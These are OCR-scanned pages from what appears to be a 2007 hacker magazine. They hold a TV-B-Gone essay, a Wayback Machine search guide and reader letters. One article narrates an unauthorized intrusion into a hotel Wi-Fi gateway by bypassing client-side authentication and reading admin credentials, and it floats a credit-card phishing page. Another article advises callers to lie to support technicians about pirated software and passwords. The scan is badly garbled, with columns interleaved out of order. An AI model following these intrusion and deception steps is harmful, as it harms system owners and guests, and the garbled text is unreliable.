gizmo. I wanted to work on something mean­
ingful to me.

I started doing lots of volunteer work.
And I also started working on a rnicrocon ­
troller proj ect that I'd been thinking of for
about ten years but hadn't had the energy
to work on. This proj ect was conceptually
so easy: push a button and the micro wou ld
pul se an infrared emitter (like the ones used
in TV remote contro ls) with all of the power
codes for just about every TV. Had I known
that it was going to take a year and a half to
make, or that it wou ld take over my life, I
may not have done it. But I did . My ori ginal
hope was that I'd sell a few here and there,
maybe breakin g even on it. Instead it became
an overnight sensation and I had to start a
business to keep up with demand. As you
can imagine, there are aspects to running
any business that suck but, overall, I love TV­
B-Gone. I use the media attentio n as a fun
way to encourage peopl e to think about TV
and its effects, encouraging everyone to take
any opportunity they can to make their own
choices to better their lives in their own ways.
And TV-B-Gone makes me and some friend
enough money to live off of. We're making a
living doing what we love. How coo l is that?

But the coo lest thing is thatTV-B-Gone has
connected me to a world of way wonderful
peopl e. If you watc h TV you' d think that the
world is full of idi ots. And it is. Wh y else
would all those gawdawfu l shows be so

popular, and why else wo uld all those outra­
geously manipulative commercia ls be so
effective? But the wor ld is also full of incred­
ibl e peopl e doin g so many amazing thin gs.
It's just that we don 't all know about each
other. But the means are at our disposal. This
magazine hasexisted for over 20 years, giving
a forum for geeks all over the world. MAKE
Magazine and their Maker Faire are bringing
hackers and makers of all sorts together. Off
The Hook has been an independent outl et for
information since 1988. Community radio
stations all around the U.S. are also beacons
of independent voic e. The Internet (w ith all
its fault s) prov ides a means for anyone to
know that they are not alone and to share
what we know and beli eve. HOPE confer­
ences have been providing fantastic experi ­
ences of information and real live commu­
nity. And there are other hacker conferences,
such as CCC and DEF CO N. The ability for
us to get together in community has never
been greater. Geeks of the world unite! At
least for long enough to know that we are not
alone so we can go back into our geeky little
world s and create more coo l technology that
make the world better for all of us. There is
no guarantee that what you do will succeed,
but wh at is guaranteed is that if you don 't
make time to explore wh at you love, you will
not be do ing wh at you love. I can't prove it,
but I beli eve that if more of us do w hat we
love, the world becomes a better place for
everyone. Please choose well what you do
with the time of your li fe.

Mitch Altman is best known for inve nting
TV-B-Gone, the popular keychain that can
turn off just about any TV in pu blic places.
But he feels that his main accomplishment
has been , against all odds, learning to enjoy
life. Nex t time you see him, go up to him and
tell him your life 's story.
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The frame source for the login screen was
far more interesting than I had previo usly
expected. It turns out that ValuePoin t's secu­
ri ty setup is mostly do ne in Java5cript. This
goes for their pageloads as well. Upon exam­
in ing the source for the left co lumn I found
something fairly interestin g.

So I did what any halfway intell igent
person would do.

I loaded the index page instead
(h t t p : / /1 92 . 168. 0 . 1/ht ml / i ndex .ht ml ). The
htrnl structur e was what enabl ed us to find all
of the information to hijack the box. My first
idea was a basic one - just look at the login
form and see wh ere it was submitt ing.

you fi rst attempt to connect to any web page
you are redir ected to the terms of service
page. The page is at IP address 1.1 .1.1 but
also resolves on 192.168.0. 1.

<!- -
-escr tpt naoe."Javasc r ipt">
funct ion page laoo(X
I I ~\ndoII .open(" as_systelll .htlll" , "lllQlnFr aoe ");
II lIindov.open( "IIeN.l_os .ht.. l " . " lcf t Fr.-") ;
II lIindoll.open("t op_os .ht lO l " . "topF rOlllc ") ;
}
<!scrlpt>
-->

by Sidge.2 & Bimmerfan
As some of you may know, the company

ValuePoint sells w ireless access poi nts to
some of the biggest hotel chains in America.
This incl udes Best Western, Cho ice Hotels,
Hampton, H ilton, Holiday Inn, Marriott, •
Ramada Inn, and many other subsid-
iaries as we ll as independent access =-::===.=:=-.:::-=:=:.-=.._..,.......,.....-==-= -=:=.
poi nts and hotels around the world. :.r.:-...::...-:-...:.-::--==<=:=.- - - .--.------
From h t t p : / /www . va l u e po int n e t . c om: ~:.:-?.:-..:~~~;i-E.::::=-.::;;::~==t~-:--:.E_

ValuePoint Networks supports ==..;"'=~::---.:::;_.2::..~~.=~;:::C.T
hundreds o f service and solution ===_-::;-~.:=::=::::-::=.==::=::_=::E:~~.E7:.:::=~==--".--.

~~~~1:;; };~;ld~:d~Ug;!ra;~~~~fuJ. :-:~:£:-==-.:~;:~f~;~~g:=~~S~
and highly reliable wireless produ cts §E.::.~.£:-:.:':~:=:-E:.~==:=.":.:?:::=:.==z=.~=.

designed with the solution provider in l_:£•.:!..J=~'""=~
mind. Simply put , ValuePoint's prod-
ucts do the job the others cannot, and for a
price the o thers cannot match.

Founded in 2002 to develop produ cts
designed specifically for hotspots and other
public access venues, ValuePoint has quickly
become a leader in this burgeoning space ,
and has expanded into other markets as
well, such as industrial, WISP, MTU/MD U,
and municipalities.

With Rugged Acces s Points end
Advanced Gateway Controllers, shipping
since early 2003, ValuePoint Network s'
produ cts are dep loyed today in thousands
of venues around the world.

Hotels, marinas, shopping malls, RV
parks, ,\ 1TUs, MDUs, and virtually every
imaginable location are operated using
veluerotnt Networks' reno wned SuperAP,
,....lultiA?,Supertdesh, and Gateway Controller
products.

ValuePoint o fTers our customers superior
solutions at much lowe r price points, thereby
minimizing your up-front capital investment .

Recently I stayed at the America's Best
Value in LasVegas. We stayed there because
it was cheap, near the monorail , and they
offered "Free Wi -Fi." I won 't give a hotel
review. We paid for a cheap hotel and that's
what we got. But, if someone advert ises
free W i-Fi they should deliver. The W iFi
connect ion was shoddy at best and hal fway
thro ugh the second day it stopped wo rking
completely. We decided to investigate. Wh en
..... Summer 2007 - --- - ------- - - - -----Page 29



<1-
<scrtpt nl»e."JavoSCrlpt·>
tunctlon pageloodO{
II .. lndow.open(·O$_syst... .ht.l · •'''''Infr~');
II ..Indow .Open("..,....._O$ .hta I' •'let tFr.-· );
II ..Indow.open(" tOp_O$.ha l " •·topFr.-") ;
}
</scrlpt>
- - >

It ;Jppe;Jrs that there a re three windows
that ope n. This site uses fram es and the
lavaScript simply overwri tes the curren t
fram e w ith the new htrnl. The probl em is
that "assystc rn.html" in the mai nframe finds
nothing. So I did the next bes t thing and
load ed the men u as .htm!. It worked like
a cha rm and ac tu;lIy load ed. The me nu it
loaded was the preload ed and highlighted
"Adva nced Settin gs" menu . Afte r browsing
through severa l optio ns and find ing only a
few that seemed to do anything, we clicked
on the App l y Settings bu tton at the bott om
and then c1i ked that it W;JS O K to reb oot.
The pin g routine we we re doin g on a sepa­
rate co mpute r stop pe d. Even logged out,
the reboot routine worked. After the se rver
rebooted I decided to try the only othe r
butt on I had n't tried . It appeared to bring up
;J file ca lled "sitcmap.htrnl." I clicked on it
an d it brought up three new windows. This
was the key, I tested this in two browsers on
my Mac. It did not work in Firefox but it d id
work in Safari.

" ,.
G +

This is the sitema p and for navigating this
syste m in one frame I co uldn't find anything
bette r. Now at this po int we're in the ba ck
e nd of the syste m and ca n ge t to anythin g and
cha nge anything. The prob lem is that the re

are ;J few steps for every change and I rea lly
wa nted to get the same view ;JS the adminis­
trators. So we decid ed to see if we co uld find
out what the adrninlstrato r password was. So
we browsed throu gh and clic ked on Admin.

After you click ;J link you a re greeted wi th
th is message on top of the openi ng "te rms
of serv ice" agree men t p;Jge . The reason th is
hack works is becau se of an insecurity in
the lava co de that authen tica tes. It 10;Jds the
correct page an d then checks to see if you
arc an aut hentic user. If you are not authen­
ticated it loads the TOS into the mai nframe
overwriting the information that you wa nt
to get. By load ing this in eparate windows
you bypass the ability to perform this specific
action. In Safari, the window with the e rror
message loads in a new page leaving the data
untouched and open. This enables you to see
any thing that you want. Now, as I said, this
is easy. Hut for me, it's always easier to find a
username and password so that I e m really
see what the ma n;Jgers see. So we naviga ted

http,,!192.16&.0.1.........._,---...,."
2~ 1tLl0000ffdU'Ot~'O"",1IfP

to the admin page unde r the System Tools.
Unde r the window that I closed I saw this.

It is the ad rnin page and co ntains the use r­
nam e and password fie lds for bot h root an d
subsc riber mana ger privileges. I ex pected a t
least MD S encry ption but we figured since
the rest of the sys tem was so poorl y mad e we
would chec k. So we did the eas iest thin g we
co uld think of.
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It cou ldn' t be this easy thou gh, cou ld it?

Sadly, yes. It wa s th is easy. We ascert ain ed
the user and passw or d and th e on ly th ing left
to do was to givp it il try.

le i

...
II ­
le -

Sf II'

OX!
le i

Tut r nCOOll'lQ

Uld p Bookmark " B.lr
HldiP' Stat us 8.J,r

Rt'lc.d Paq~

M..k~ Tt"ll t 81gger
M..k.. 'Iext SITt,lllt>r

t-jllj(" Add'~\" '8,ar
Cuuoml l~ AddfUS IUf

mar io n. Hasica l ly anyt hing we wa nted. Sad ly,
we w ere unabl e to f ix tho server. O h we ll,
maybe next t ime . For now we JUSl left some
infor mation on how we got in and then we
got out of thoro, This is by far th e easiest
int rusion attack that I've ever done and on
one of th e most widelv availab le nationwide
systems. It j ust goes t<; show you that if yo u
are invol ved in a business that always bu ys
the cheapest g<'i1r you sho uld expec t to get
broken info. Sometimes it is better in the lon g
run to spend a litt le money in order to prevent
fraud on you r system. There is no reason that
I co uld n' t have changed the Term s of Service
pagp into a credit card val idat ion pag<' whprp

a hotel member enters th eir
~=-T.So.:..u.::-:r~e of http://192.168.0.1/cgi-bin/xmlParsingCGl numberaml name and secur ity

<?xrn l verst on." 1. 0·'><0:.JIl l -stY \ e-5~et t ype ....t~l'... t / ),!l " hro!f. "/ht ml/ code wi th a d iscla imer sayi ng
st_Sys t eltAcnt . ;ts l "?>-<tiotSpot~r\l m_mernallle>ocirn n<lOOflnn_u'Ser nQ&e'> lithe Ethernet is frpp but we must
..;1,:).lOIl "_(.Xl$s wrct.. .....ctdItIn_pO:s'Swor d> . . - . - • . .
",uperv lS or_u,erno~> </ , upervlSor . u, e, ...."..> veruy your cred it card numb er
<St=TY I ~~T _pa"W('Td <l Mlpe TVIW ' ''po" wo, d, to that on yo ur room to confi rm
</ Spa tha t yo u are staYing at our
And there we have it . W e now have hotel." How many cards co uld

complete co ntrol over our mot el 's network. w e have gollen before they fig ured i t out?
W e can change w hatever we w ant incl udi ng For anyone using this system : Find anot her
terms of serv ice and the forwa rding page. system. Break ing th is on e took all of ten

O r we cou ld change the login page infor- minutes. It is not w or th the hassle to your
custo mers and your security.
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net Archaeo~.r . c

by ilikenwf
parwokssgmail.com

Archa eol ogy is a term that describes
unearthing an artifact that is o ld, long lost, or
forgotten . The Intern et is no different from the
real world in the sense that it too has artifacts
of medi a from days go ne by. You just have to
know wh ere to look. The best place to start
is the Intern et Archive "Wayback Marchine,"
(http ://web . archive .org) wh ich houses over
e ight petabytes of o ld informati on glea ned
from the earli est days of the Intern et up to
now. Just put in an address and you ca n view
a site, provided it was indexed , a ll the way
back to 1996.

Beginning Methodology
I had wanted to find as mu ch "lost"TechTV

and ZOTV medi a as po ssib le for nosta lg ia 's
sake. Sta rting out, I just was viewing the sites
by individual archive dates . This was way too
tedious and time co nsuming to be wo rth­
wh ile and it didn 't really give me much to
work with. Digging aro und on the archive's
information pages, Idiscovered that sea rching
sites with wildcard s (0) is suppo rted. To give
it a shot , I typed in http: //www . techtv.com/*
as well as h ttp : / /www.zdtv. c om/ *. These
sea rches yielded lon g lists (45,000+) of pages
from the two domains. At first it was reall y
slow to sift throu gh the inform at ion until I
found a way to speed it up - go to the bottom
of the sea rch page and set the number of
results displayed to 30. Then , wh en the page
re load s, the uri w ill look like this: http: / /
,",we b . a r c h i v e . o r g / we b / *s r _ l n r _ 30 / h t t p : / /
'"' u r l. c om/ *. Just change the 30 to a reason ­
able num ber that won 't ca use your browser
to crash and load the page from your edited
urI. The list will be much larger, therefore
you don 't have to cl ick "nex t" over and over
aga in. Then , scro ll/pagedown throu gh the
co ntent loo king for inte resting ly nam ed files
and files with uncommon extensio ns, like
pdf, psd, zip, etc. Find o ne, click the link,
and if there is only o ne co py of that file in
the archive it will pop righ t up unless it was
indexed incorr ectly. Oth erw ise you will get
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a choice of dates the file was archived on .
Choo se the first on e. Keep working throu gh
the dat es until you find a good uncorrupted
co py of the file (see tips and tricks se tion for
exp lanation).

Subdomains
The probl em w ith this method is that it

doe sn 't sea rch all of the subdo mai ns of a
top leve l domain address . To do this, e ithe r
use a whois sea rch, exa mine the we b page 's
(htrnl, php, xrnl, etc. ) files' so urces and look
at the path s. (See about using wi ldcard s like
o.techtv.com.) Using a combination of these
meth ods , as well as my mem ory of the sites,
I stumbled ac ross subdoma ins like cac he.
techtv.com, chat.tec htv.com, and on and o n.
You ca n see a list of the dom ain s I found at
ht tp: / /www.mat tparne l l . c o m/ 2 60 0 / t e chtv
- s ubdomai ns . t x t .

See The Findings
Using the above me thods, I sea rched

othe r dom ains and found all sorts of stuff: a
font of Cat's handwriting, psd and eps source
images for man y o f the sho w's logos, lots of
wallpapers, avatars from the old ZOTV chat
pala ce, am ong oth er things. I a lso found
milny video and sound clip s from the o ld
"Fox Kids" television network on the archived
copies of foxkids.com. All in a ll, I was very
successful and very pleased. You ca n grab
a copy of my discoveries from http://www .
'"' mat t pa r ne ll . com/arch .html.

http:/ /www.mattparnell.com/
arch.html.Practical Uses

These meth ods can all be used for good or
ev il - you ca n see the inner workings of sites
that have, since archiving, locked down areas
that we re once publicly op en. Sometimes
you ca n eve n find medi a that was free but is
now cha rged for, thus saving you mon ey. In
truth, the sky's the limit! Have fun!

Some lips and Tricks
1. These meth ods will give you files othe r

than "we b only" files, such as executab les,
zip files, and video files too!

2. One problem is that some of the zip
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to down load from the archive . Peop le do it
anyway, but you real ly shou ld make sure that
you do n't sell the materia l you find and use
it for "edu catio nal " and "archival" purposes
on lv.

if you have any questions , plea se post in
my for um s at http: / /www. mattpa r n e ll .com/
- f o r u ms or ernai] me.

I , ..._ _

without a password. lf you can't get into Safe
M ode w ithout a password, we won 't be ab le
to hel p yo u. What you need to do is this: Toll
us that somethi ng is preve nting you from
starti ng Window s normall y and you need
help backi ng up yo ur data in Safe Mode.
Tell us you can' t get int o W indows norm all y
beca use of a virus, a power surge, you r k id
tr ied to insta ll his PS2 ganw in W ind ow s and
hosed the system, or you opened that pi cture
of Britney Spears that yo ur boss sent to yo u.
Whatever yo u do don 't mention that there
is a problem w ith your password . Better yet
don 't even ment ion the word passwo rd. A
lot of tech nici ans at Gateway wi ll refuse to
help yo u if they suspec t that yo u are ca ll ing
in about a password issue.

If you need to reset your BIOS passwo rd,
ask us to help you rep lace the battery on
yo ur motherbo ard . Rep lacing this battery
wi ll reset your password without you even
needi ng to mention the password issue to the
techni cian .

An oth er part of ou r job is selling you
things that you do n't need. Most of the
secur ity software that w e sell is worse than
pro grams such as AVG and Ad -Awa re that
you can download for free. Some employees
are salesmen pos ing as techni ci ans and w i ll
try to sell you a new system wh en all you
need to do is reload your operat ing system.

When yo u ca ll you are really pl ay ing the
lottery. You are gambli ng that you wi ll reach
a good knowledgeab le tech nic ian that knows
wh at he is doi ng. Most of the time yo u w i ll
lose.

Be carefu l w hen yo u cal l for suppo rt on
your co mputer. I can on ly co mment about
how Gateway op erates, but I suspec t that
mo st other co mpanies' suppo rt centers
would be abo ut the same.

files and cxe fil es get garbled and cor rupted
du ri ng transfer to the archive (espec ial ly on
o lder pages) and don't always work . You
can somet ime s repair the zip fi les, but man y
times it does n't work. Try finding anoth er
.rrchive date w ith Illl' same file. Otherw ise it
is best to move on .

J .Take note that you aren't re-ally supposed

by Fra nz Kafka
I used to work as a tech nical suppo rt ropre­

scntat ive for An swers bv Gatewav and wo uld
sorve as a corpo rate guardian t(; ensure that
peop le call ing in about p irated softwa re or
to help crack passwords we re not helped.
I have parted ways because my co lleagues
have a different mental ity abo ut hack ing than
I. Most peop le w ho work as a tech nici an
(w ith some exceptions) can't program in any
l.inguage, not even in Visual Basic.

But there are som e way s the peop le who
call in to Answers by Gateway can get help .
Lie to the techni c ian . There is no way that we
can verify over the phone that the copy of
Microsoft Office or you r OS is p irated un less
you tell the techn ic ian, so don 't tell the tech ­
nic ian that it is an i llegal co py. Rememb er
if you are ca ll ing in fo r support on an O EM
copy of Windows to tel l the technic ian that
it came w ith the machine. (We won 't tell
you th is, bu t all copies of W indows that are
a full version OS and not an image disc w i ll
wor k on any machine as lo ng as you have
the product key. The tr ick is to 1) lead us to
be lieve that the disc came with the machin e
or 2) lead us into thi nki ng that you bought
a new co py of W indows to insta ll on your
machine .l

Some of the tech nici ans are anal reten­
tive and may want yo u to describe what your
Windows CD looks like. Use Go ogle Images
and describe the image of the CD that you
see. Again , w e can' t te ll if you're ly ing to
us over the phon e because yo u are ca lling
a support techni c ian and not a psychi c. Use
thi s fact to your advantage.

Getti ng us to help with passwo rds is a b it
trick ier. Som et imes if there is a password fo r
Window s XP, yo u can boot into Safe M ode
and logi n as the administ rator and get in
-, Summer 2007-------- --------- ---Page 33



Suggestions

Dear 2600:
Hi the re . Been reading yo ur magazine off

and on for over a decade. I have a couple
of good ideas for articles but I'm not sure if
the subj ect has been cove red in past issues.
It would be nice to see a list of past a rticle
lilies and subj ects on your website. If there is
a list a lready, it would be nice to see it in a
mor e accessible location on your web site as
I couldn 't find it. Thanks for everything yo u
do for the community at large and for partici ­
pat ing in o ur co nstitutiona l freedoms instead
of just having them.

LOjlk
We do have a list that'sava ilable in the back

issue section of our online store (store.2600.
co m) on an issue by issue basis. You're right ­
we ca n certainly do better and make this more
centralized and organized. We've added it to
our huge list of things to improve.

Dear 2600:
Wh ile trying to put together so me artic les I

wa nt to su bmit, I reali zed there seems to be a
troubling lack of informat ion avai lab le abo ut
submitting materials to 2600. Sure, we a ll know
what ema il addresses to se nd our letters and
articles 10, bu t beyond tha t the 2600 site is not
ve ry helpful. I find myself paging through back
issues hoping that some body has a lready sent
in a letter aski ng the qu estion I wa nt answered.
It's a bit strange tha t a magazine devoted to
soc iety 's right to the free ex press ion of ideas
and the exc ha nge of informa tion would be so
imp assive o n how exac tly on e would exercise
those rights.

At least on ce an issue I ee a letter from
so mebo dy asking if such a nd such an article
would be accepted if they we re to write it.
There is usually a le tter asking if 2600 wi ll
pro tect the author's identity sho uld there he a
backlash after the art icle we nt to print in ea ch
issue as well. These repetitive q uesti ons, while
certa inly importa nt, a re reall y just a wast e of
paper when consta ntly rep rinted .

Perh aps equally as problema tic as the
qu estions tha t a re co nstantly an swered are the
ones that a re never answered. For insta nce,
how man y characters pe r line sho uld one have
in the ir articl e ? Should an author se nd in an
image to be used for the top banner above thei r
art icle, or do the ed itors handle that ? If you
wa nt the artic les to be writt en in plain ASCII
text, how do we co nvey to the editors if we
want some parts to be italicized or bolded ?

Now obviously you try a nd keep the
requirem ent s down to a min imum to make
thin gs easier for the autho r or to accommodate
to their situa tion, which is definitely the right
approach to take. But clearly the editors a lso
have preferen ces as to how th ings sho uld be
done to make the ir lives easier, a nd given the
oppo rtunity I would like to adhere to those
preferen ces as closely as poss ible.

I think it would be very helpful to create a
FAQ with these types of questions tha t co uld
go up o n the 2600 website. The ed itors could
wr ite up the core co ntent , and the n pe rha ps
the long time sub mitters to the magazine could
add in their ow n tips or comme nts via email to
whoever wo uld be in charge of ma inta ining
the FAQ.

Ideall y it wo uld be a wiki page wh ere the
2600 community as a wh ole could document
their experiences wi th the submiss ion p rocess,
but the time and resources required to get tha t
runn ing rather tha n just putt ing up a simple
text file a re und erstandabl y prohibitive .

Such a document co uld really help ease
co ncerns and clea r up confusion for aut hors
who are hes itan t about se nd ing so mething
in. It co uld only have a po sitive effec t o n the
co mmunity, and with luck might even spur an
influx in submitte d materials.

MS3FGX
It's not really fair to say we 're "impassive "

on this or that it has anything to do with free
expression. We're just incredibly busy and we
thought the word was already out on how to
submit articles prope rly. Anyone emaiting us
gets an automatic reply with guidelines. There 's
no real way 10avoid repeating ourselves for the
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Dear 2600:
I read thaI you changed printers for the

winter issue. I've noti ced a few bugs with
the new bi nding and printing. You Ill ay have
already noticed them 100 but the nitpicker in
me is compelled to point them out.

With the new stiff spine, the magazi ne
doesn't open out flat like it used to. The page
layout doesn't seem to take this into acc ount
and the margins are too close to the center
binding so that parts of words get cut off. I
had to bend the covers back and (('all y crease
the spine to be able to read words c lose to the
center. In the pro Cl' SS of doin g thi s, the ink
on the pages smeared and came off on my
hand s.

I reall y hope you ' ll be able to wor k oul
these bugs. I've enjoye d till' magazin e for a
long tim e, and I loo k forward to reading it in

Dear 2600:
I app reciate the move to a new printer to

keep costs down. However the latest copy I
received has a bit of a prob lem . The ink on the
spine and back cover doesn't seem to have been
"sealed" in the same way as the front cover.
Wh ilst it's br ief ly entertaining to discover the
ink coming off on my f ingers (much like news­
papers of old), it qu ickly becomes annoy ing!

I hop e th is was just a glitch in the current
run of magazines and will be fix ed in futu re
prints . But aside from that, keep up the good
work!

rather pay a litt le more for a sol id cover tha t
does not come off on my hands and gets all
over everything, as I reread these back issues
and refer to them ofte n. I hope yo u can eli m i­
nate this probl em in time for you r next issue.

On another top ic, the art icle on red boxing
seemed a li ttl e out of date, as the author kept
referri ng to SBC w hen SHC bought ou t AT&T
months ago and has now dropped the SHC
name altogether la long w ith much of thei r
quali ty contro l/maintenance and nearl y al l
of their customer serv ice). Perhaps the author
missed you r "Jo in Us As We Rise Again " cover
(or perchance it sat on the shelf a w hi le before
you gO! aro und to publishing it)?

In any event, keep up the goo d wor k. Ga tta
go, Futuramn 's on.

Guitarmaniax
The ink problem was resolved with the

List issue (24 : I) . 1# ' ( e hopinf{ the fading you
mentioned was a fluke as we haven 't hea rd of
that problem . We apo logize tor any inconve­
nien ce or dirty hands that camp out of this.

Minst rel
Considl' r il our nod to th l' newspaper

printers of years gon e hy. Where would we be
without them ?

Complaints

beneti: of thos e who don 't reed what is said
online. We intend to make the on line guidelines
more detailed but again that won 't do anything
for the people who don 't sec them. As for ques­
tions that are "never answered," its not part of
anything intention al. Its possible nob ody has
ever aske d us how many characte rs per line an
.uticle sho uld have. (This is irrelevant as we do
,III the Iormeuing hcre. ) There an' m any ways
to con vey ernphnsis in ASCII text - yo u don 't
need us to tell you how (we hope). And if we
expected our writers to put together the layou t
de sign, we would certainly have made that
ctcer. What do you think the odds would be of
('\'('(yone doing that on their own witho ut our
saying a word up un til now ?

The idea of a FAQ is a good one and it
prohahly wouldn 't require much more lime
to put toget her than what wev« already spen !
!I('((' on till:' issue .

Dear 2600:
The new printers should be lo cked in the

b.uhroorn with noth ing to read except for
«xarn p les of their own work. I bought my copy
of 21 :4 at my loca l Borders store like I usuall y
do . (They d isplay it prominentl y and this tim e
il had its own little wire rack fastened to the
wooden newsstand rack, right in front of all the
sociopo litical publications that range from the
Utne Reader to The Advoca to.) I pul led a clean
unwrinkled copy from the midd le of the stack
,1/1(1 observed its new square glued binding.
AftC'r looking around for a few minutes at oth er
hooks and magazines in the store, I notic ed my
fi ngers were sticking to the cover....

I d idn't actually open the maga zine
.md read it until I got hom e. The f irst Ihing I
not iced upon read ing the inside cov er with the
payphoner was that it was reall y hard to read
some of the text. TIle while text on the bla ck
background wasn 't really the problem ; rather,
the printing was just really weak in places, with
some of the lettering nearly missing altogether.
And I thou ght I picked a good copy out of the
pi le! This sectional fading was also present on
some of th e in side pages as well.

After read ing about halfway through the
issue, I noticed my fin gers had bl ack al l over
them and that it was rubbing off on the inside
paw's. I thought the pr inl on the inside pages
W,lS srnearin g and it may have actu all y been
do ing so slight ly, bu t it wa s main ly the black
from the rear COV0r and both insid e covers that
was co rning off on Ill y fingers, making them
sticky and smud gy and leavin g my fin gerprints
w here on ly sol id bl ack had been before. Please
fi re your new print er or for ce them to do the
jo b properl y as this is una cr ept ah le . I would
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Response to Articles

200 1 a nd I love it. My co ncern is about the
new binding of the magazin e . I do not like
it because you ca nno t fold it, is difficult to
read it w he n yo u appro ac h to the binding,
and the last a nd more import ant issue is that
the pages tend to take off itself and start it to
fall down. So please, if yo u ca n, return to the
o ld binding, is simple and good. I hope yo u
understand my poor English.

Ignaci o
Well, we gave it a shot but we're not really

sure what you mean by falling down. W!'
would certainly like to find out. Fortunately,
we haven 't heard anything similar to this.
Ever.

Dear 2 600:
Here is a no the r vote for staples! Just out of

curios ity, what wou ld be the per issue price
incr ea se (at least an es tima te) if you guys go
back to staples? I understa nd that you would
also have to sw itch (agai n) print ers.

SiKing
It would be a major hassle to switch again

and we 're not convinced that staples are
anything but a personal pre ference. There
are advantages and disadvantages to every
method and we see a lot ofpotential with the
current tyk: of binding. Our major concern is
solving the problems me ntioned above which
we believe have been addressed and dealt
with.

Dear 2600:
I would like to bring to your attention

the article "Algor ithmic Encryption Without
Ma th" in 23:4 . In case you were just checking
if you r read e rs are as leep (or blind or dead for
that matte r), we aren' t, tha nk you very mu ch
(and ignore the rest of th is).

Otherwi se you was ted e ight full pages in
you r magazine for so me crappy algorithm tha t
is no be tte r than wh at so me of us inve nted
back when we were in the fifth grade. The
author (referred 10 as "he ' from now on) ca n't
even co he rently describe the a lgor ithm (try
to fo llow what he does in the first part and
see if yo u ca n impleme nt the a lgor ithm based
on his descr iption ). He doesn 't tell us again st
wh at his a lgor ithm is safe. (I assum e he has
no idea about an y classica l attacks ag a inst
symmet rica l cyphe rs - I guess he do esn 't
even understand the differen ce between
PCP for "messages" and his cyphe r which is
symmo trlca l.)

Wh at abo ut the "thousa nds of dollars"
we co uld w in for break ing his encry ption.
Doesn 't th is seem suspicio us? Wh ere , how,
how mu ch ? (If the re 's a prize assoc iated wit h
th is he could at least te ll us how mu ch it is - is
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the futur e .
Jacquelin e

The margin issue was also so rted out for
the last issue so hopefully this is no longer a
problem either.

Dear 26 00:
I just wa nted to vo ice my opin ion of the

new printing sty le of 2600. While the bind ing
is kinda cool, it makes the magazine quite a bit
ha rder to read. This is especially the case when
I try to prop it open in front of my keyboa rd for
pe rusa l wh ile a t work. This is now impossi ble.

O K, so I'm not reall y opposed to the entire
new style.The bind ing is grea t becau se it a llows
for more co nten t in the magazin e itse lf. The
binding is not gre at because the text ex te nds
so closely to the spine that it's a rea l pa in to
read any of the words on the ex treme right­
hand side of the eve n pages and the extreme
left-hand side of the odd pages. Ugh!

II's a lmos t like it's still being print ed in
stap le-sty le wh ere the magazin e easily op en s
a ll the way and allows unob scured access to
eve n the most extrem e ly justified text.

Anyway, I'm no t rea lly co mp la ining but
instead just hoping to inform you of some thing
that I've found is ca us ing me 10 have to nea rly
destroy my magazine to read a ll of the text.

I know that the new bind ing sty le wo n' t
cha nge and I don't really wa nt it to. The maga ­
zines w ill stack much more nice ly now. I'm
just hoping tha t the text ca n be brou gh t a bit
furth er from the b inding itse lf to make it easier
to read .

Thanks for reading and tha nks for wri ting.
mik es

There a re indeed positive dements to the
new binding and we hope to be able to take
advantage of as many of them as possible.
Since fixing the problem s that admittedly never
should have occurred in the first place we
haven 't received any specific complaints.

Dear 2600:
I love yo ur publicati on. I've been a reader

for some years now.
I have on e complaint. As perhap s one of

your o lder readers, I have a ve ry hard time
reading yo ur a rticles du e to the size of the prin t.
Otherwi se, yo u have a great publicati on .

A Fan
We've heard this complaint since we stoned

printing in the 1980s. We could print larger
but then we would have to either add a lot of
p ages or print less material. It's a precarious
balancing act. We will at the very least commit
to not making the type size any smaller.

Dear 2600:
I am a reader of your magazine since



Dear 26()0:
W hat' s the deal w ith Byron Bussey's

"exp loit" (23:4) w hich basica lly invo lves a
hypoth et ical sche me where so meone co uld
stea l expensive books from a library by dem ag­
neti zing two at a time ? I ca n think of at least
two other bette r ways of do ing it.

1) Use a tinfoi l- lined bag o r sim ply remove
the mag ne tic tag . This has bee n don e for a long
time an d is also known as sho plifting. This is
no t technica lly a n ex ploit; even dumb peopl e
can and will do it. Althou gh as dum b as it

you described, but as lotteries and ot he r shuf­
fling syste ms do .

My meth od does not use the pseudo­
random array for bit moves, it uses the re lative
sizes of e leme nts oi tha t a rray, whi ch is eq uiva­
len t to building a large lattice as fo llows . In th is
example, we simplify the lookup table and use
32 numbers only:
5 , 6 , 17 , 14 , 1 0 , 26 , 25 , 20 , 15, 1, 12 ,
21 , 18, 13 , 27 , 2 4 , 7 , 30, 3 , 16 , 29 ,
2 , 31 , 9 , 23 , 19 , 2 8 , 8 , 11 , 4 , 0 , 22

The first va lue determ ines the group size
(5), and so the first lattice row w ill co nta in the
re lat ive sizes of the next five valu es: 1,4, 3 , 2,
a nd 5. The seco nd latti ce row begins with a
group size of 6 , and the relat ive valu es a re 3,
2, 1, 6,5, and 4.

You ca n see that w ith the current lookup
tabl e impleme nta tion, the lattice becom es
very la rge. Now pictu re a lattice with a tril­
lion rows of random size eac h, ex pa nded
to 12 dim en sion s. The probl em is not that a
quan tum co mpute r (never mind a co nven­
tiona l computer) ca n' t repli cate this lattice
in real time and app ly XOR maskin g to the
ciphe rtext for a ll po ssible pe rmuta tions of the
text. The probl em is that XO R doesn 't wor k on
shuffled text - the bits have to be physicall y
moved and there is no feasib le way (you try it)
to do that on a ny co mputer.

Keeping in mind the aforementioned
contest and awa rd, if yo u still have dou bts
abo ut the sec urity of this a lgor ithm, try to
und erstand my funda me nta l design - to
approac h true randomness by shuffling in
man y sepa rate passes that have no relation ship
to each othe r. The bits have to be physical ly
moved , and there is no math sho rtcut for that
process. If it turns o ut tha t a qu an tum compute r
ca n ca lcu late the final reshu ffled bit positio ns
using so met hing like the la ttice I described , it
still has two formidab le tasks to perform tha t
a re not assured in any sce nario. The quan tum
compute r st ill has to move the bits for ea ch
test and perfo rm lexical analys is of the resu lt
as well because there is no "test" decryption
mask that ca n be app lied to shuffle d b its.

dthorn

aa26 00

Dear 2600:
Thank YDU ior pu blishing my article

"Algor ithmic Encryption With out Math ." The
following text is my response to "Dave" wh ose
lette r you published in response to the article.

Dave, I'm sorry yo u d idn 't read the co de
for "Algorithm ic Encryp tion With out Mat h" as
you wo uld have d iscovered so me th ings Bruce
Schne ie r doesn 't want you to know. First, the
code is in its 11th yea r, offe ring a $10,000 cas h
award to any se rious organization that ca n
crac k it with an unlim ited pla intext attack . In
my two yea rs as mod erator of a Dr. Dobh's web
for um, the program survived numerous cha l­
lenges. More impo rtantly tho ugh, this project
is no t about having a slick little program tha t
de mo nstrates yet anot he r form of encry ption.
It's about ord inary people like you a nd me
ow ning the e ntire pro cess of sec uring o ur files
